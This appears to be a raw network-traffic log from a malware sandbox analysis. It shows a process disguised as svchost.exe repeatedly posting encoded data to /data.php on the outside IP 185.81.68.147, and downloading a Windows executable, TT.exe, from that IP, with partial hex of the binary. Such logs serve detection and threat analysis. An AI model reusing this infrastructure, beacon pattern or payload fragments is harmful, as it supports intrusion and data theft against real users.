Dec 26, 2024 12:05:13.336030960 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:15.096095085 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49715	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:15.375942945 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:17.081388950 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49716	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:16.817986012 CET	95	OUT	GET /TT.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: 185.81.68.147 Cache-Control: no-cache
Dec 26, 2024 12:05:18.248161077 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Tue, 24 Dec 2024 20:31:17 GMT ETag: "f7c00-62a09febaef40" Accept-Ranges: bytes Content-Length: 1014784 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e2 4a 34 37 a6 2b 5a 64 a6 2b 5a 64 a6 2b 5a 64 ed 53 59 65 a1 2b 5a 64 ed 53 5f 65 6b 2b 5a 64 65 a8 a7 64 a1 2b 5a 64 65 a8 59 65 ac 2b 5a 64 65 a8 5e 65 b4 2b 5a 64 65 a8 5f 65 f5 2b 5a 64 ed 53 5e 65 b4 2b 5a 64 b2 af 5e 65 d8 2b 5a 64 c9 5d f0 64 a1 2b 5a 64 a6 2b 5b 64 b6 2a 5a 64 ed 53 5b 65 bf 2b 5a 64 b2 af 53 65 b5 2b 5a 64 b2 af 5a 65 a7 2b 5a 64 b2 af 58 65 a7 2b 5a 64 52 69 63 68 a6 2b 5a 64 00 00 00 00 00 00 00 00 50 45 00 00 64 86 05 00 15 1a 6b 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 5e 0b 00 00 3e 04 00 00 00 00 00 a8 a2 07 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$J47+Zd+Zd+ZdSYe+ZdS_ek+Zded+ZdeYe+Zde^e+Zde_e+ZdS^e+Zd^e+Zd]d+Zd+[d*ZdS[e+ZdSe+ZdZe+ZdXe+ZdRich+ZdPEdkg"(^>@`Xh$ 8@p.text\|]^ `.rdataDpFb@@.data`H&@.pdata$@@.relocf@B
Dec 26, 2024 12:05:18.248187065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8b 51 08 81 e2 fd ff 00 00 83 ca 02 8b c2 83 f0 01 0f af c2 c1 e8 08 0f b6 c0 c3 cc cc cc cc cc 48 89 5c 24 08 44 8b 11 41 Data Ascii: QH\$DALELL3AADQE3DAAiAH3A3A@H\$H\$Ht$WH xV4BgE#BxV4IHHt'fffffDHH
Dec 26, 2024 12:05:18.248199940 CET	1236	IN	Data Raw: 00 72 08 81 c2 44 f8 ff ff eb 08 83 fa 50 72 03 83 c2 b0 8b 41 08 03 d2 c1 e0 06 03 41 04 8b 09 d1 e9 c1 e0 05 03 c1 41 8b 48 10 8d 54 d1 01 c1 e2 05 41 03 50 0c c1 e2 10 0b c2 c3 cc cc cc cc cc cc cc cc cc 48 89 5c 24 10 48 89 74 24 18 57 48 83 Data Ascii: rDPrAAAHTAPH\$Ht$WH HHI8ILD$0AHSuD$03H\$8Ht$@H _HK8HS0H\$8Ht$@H _H\$Hl$Ht$WH ILD$HHHD$Ha\|$HDu$LD$
Dec 26, 2024 12:05:18.248248100 CET	672	IN	Data Raw: 74 24 60 48 8b cb e8 7e 14 08 00 48 8b 6c 24 50 4c 8b 74 24 20 49 8b c4 48 83 c4 28 41 5f 41 5d 41 5c 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 40 55 56 41 55 41 56 41 57 48 83 ec 30 33 f6 45 33 c0 4c 8b f2 44 8d 4e 02 48 8b e9 41 bf ff ff 00 Data Ascii: t$`H~Hl$PLt$ IH(A_A]A\[@UVAUAVAWH03E3LDNHADFt3H0A_A^A]^]IHH\$`H\|$(NI;HHD$pLBHHtLd$ AM;DI$HI;LHMGI+H+H=v+E3
Dec 26, 2024 12:05:18.248264074 CET	1236	IN	Data Raw: 48 8b 53 58 41 83 cd ff 85 c0 4c 8d 45 48 8b fe 48 8b cb 41 0f 45 fd e8 a5 f9 ff ff 48 8b 53 58 4c 8d 45 58 85 c0 48 8b cb 41 0f 45 fd e8 0f f9 ff ff 48 8b 53 58 85 c0 4c 8d 45 50 48 8b cb 41 0f 45 fd e8 f9 f8 ff ff 48 8b 53 58 85 c0 4c 8d 45 48 Data Ascii: HSXALEHHAEHSXLEXHAEHSXLEPHAEHSXLEHHAEDtAD}HHSXLEHHLHu`tADeHLe`M;u9uPu9uXtHSXLEHHLtADeHHSXLEHHtAuHHSXLEHHK
Dec 26, 2024 12:05:18.248311043 CET	1236	IN	Data Raw: 01 00 49 8b 5b 10 49 8b 73 18 49 8b 7b 20 4d 8b 63 28 49 8b e3 5d c3 cc cc cc cc cc cc 45 33 c9 45 33 c0 e9 55 fe ff ff cc cc cc cc cc 48 89 5c 24 10 48 89 6c 24 18 48 89 74 24 20 57 41 54 41 55 48 83 ec 20 48 8b d9 48 83 c9 ff 33 c0 48 8b fa 4c Data Ascii: I[IsI{ Mc(I]E3E3UH\$Hl$Ht$ WATAUH HH3HLHSXMAHADHHiHAPKqHSXDHHD@-9uD@IDHSXDHH*DHSXDHHDH
Dec 26, 2024 12:05:18.248322964 CET	1236	IN	Data Raw: 55 48 83 ec 20 33 db 45 8b e0 4c 8b ea 48 8b f9 8b f3 48 85 c9 75 11 b8 9a ff ff ff 48 83 c4 20 41 5d 41 5c 5f 5e 5b c3 39 59 70 74 ea 83 b9 f8 00 00 00 08 48 89 6c 24 50 4c 89 74 24 58 4c 89 7c 24 60 89 99 80 00 00 00 75 6a 39 99 fc 00 00 00 75 Data Ascii: UH 3ELHHuH A]A\_^[9YptHl$PLt$XL\|$`uj9ubfDu HOHHHOxC0+tDvuH;Duu+HOxL
Dec 26, 2024 12:05:18.248333931 CET	1236	IN	Data Raw: 5f c3 cc cc cc 48 89 5c 24 08 48 89 74 24 10 57 48 83 ec 20 8b f2 48 8b 51 58 49 8b f8 41 b9 04 00 00 00 41 b8 50 4b 06 06 48 8b d9 e8 14 e9 ff ff 85 c0 0f 85 e9 00 00 00 48 8b 53 58 44 8d 48 08 44 8d 40 2c 48 8b cb e8 f8 e8 ff ff 85 c0 0f 85 cd Data Ascii: _H\$Ht$WH HQXIAAPKHHSXDHD@,HHSXDHD@-HHSXDHD@-HHSXDHE3Hu~HSXDHE3HugLXHSXDHHsuLLXHSXDHHXu1H
Dec 26, 2024 12:05:18.248639107 CET	1236	IN	Data Raw: ae 48 f7 d1 48 ff c9 48 81 f9 ff ff 00 00 76 0a b8 9a ff ff ff e9 38 04 00 00 48 89 b4 24 a8 00 00 00 48 8b b4 24 d8 00 00 00 48 85 f6 74 1e 48 83 c9 ff 33 c0 48 8b fe f2 ae 48 f7 d1 48 ff c9 48 81 f9 ff ff 00 00 0f 87 9c 05 00 00 81 bc 24 c0 00 Data Ascii: HHHv8H$H$HtH3HHHH$$z{puHHLt$hL\|$`L=LLEE3HuAH$H3HHHHH$H3IHHHHL$@MuD
Dec 26, 2024 12:05:18.248651981 CET	1236	IN	Data Raw: 0f 85 82 00 00 00 83 bb f8 00 00 00 08 75 79 39 83 fc 00 00 00 75 71 44 8b 8c 24 f8 00 00 00 4c 89 ab a8 00 00 00 4c 89 ab b0 00 00 00 4c 89 ab b8 00 00 00 45 85 c9 7e 03 41 f7 d9 48 8d 05 2a 48 0b 00 c7 44 24 38 58 00 00 00 48 8d 4b 78 48 89 44 Data Ascii: uy9uqD$LLLE~AH*HD$8XHKxHD$0$AD$($AD$ EuD@u{H$Htg+$T$(L(DFHT$HHH8HD$ HSXHK8LD$HD@
Dec 26, 2024 12:05:18.369504929 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 48 89 74 24 10 57 48 83 ec 20 8b 71 44 48 8b d9 66 66 66 0f 1f 84 00 00 00 00 00 8b 93 94 00 00 00 8b 7b 58 8b 43 44 2b bb 9c 00 00 00 8d 8c 06 fa fe ff ff 2b fa 3b d1 72 43 48 8b 4b 50 44 8b c6 48 8d 14 Data Ascii: H\$Ht$WH qDHfff{XCD++;rCHKPDH1D+N)))9vHpHyDHHSPDADHSPE+EABDCp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49717	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:17.433113098 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:19.148505926 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49723	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:19.596404076 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:21.300894022 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49730	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:20.827116013 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:05:22.404103041 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49731	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:21.650710106 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:23.348923922 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49733	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:22.637835026 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49739	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:23.586175919 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:25.336663008 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49740	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:23.652416945 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:05:25.213049889 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49747	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:25.454453945 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:05:26.991854906 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49748	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:25.576467037 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:27.262382984 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49749	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:27.239104986 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:05:28.803538084 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49751	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:27.512947083 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:29.193084002 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49757	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:29.347136974 CET	304	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 49 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 72 37 71 6f 73 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 Data Ascii: data=r7qosObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i
Dec 26, 2024 12:05:30.941838980 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49758	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:05:29.724036932 CET	389	OUT	POST /data.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0 Host: 185.81.68.147 Content-Length: 133 Connection: Close Cache-Control: no-cache Data Raw: 64 61 74 61 3d 73 72 57 39 74 4f 62 71 2f 61 36 79 76 2b 62 6a 6e 2b 4f 65 6d 5a 6a 70 37 2b 6e 70 36 4f 50 6f 36 2b 6e 6f 36 2b 72 71 34 2b 37 69 2f 61 32 2b 71 65 62 6f 39 65 6e 39 74 4b 6a 6d 36 75 76 31 36 2f 58 71 34 75 76 76 37 76 32 34 74 71 75 31 75 72 61 2b 35 75 37 74 36 65 6e 75 34 2f 32 75 71 4c 36 70 74 62 71 32 76 75 61 36 74 37 32 30 74 61 6a 39 72 71 2f 6d 36 76 32 36 72 65 62 72 Data Ascii: data=srW9tObq/a6yv+bjn+OemZjp7+np6OPo6+no6+rq4+7i/a2+qebo9en9tKjm6uv16/Xq4uvv7v24tqu1ura+5u7t6enu4/2uqL6ptbq2vua6t720taj9rq/m6v26rebr
Dec 26, 2024 12:05:31.405518055 CET	166	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:05:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49764	185.81.68.147	80	2520	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
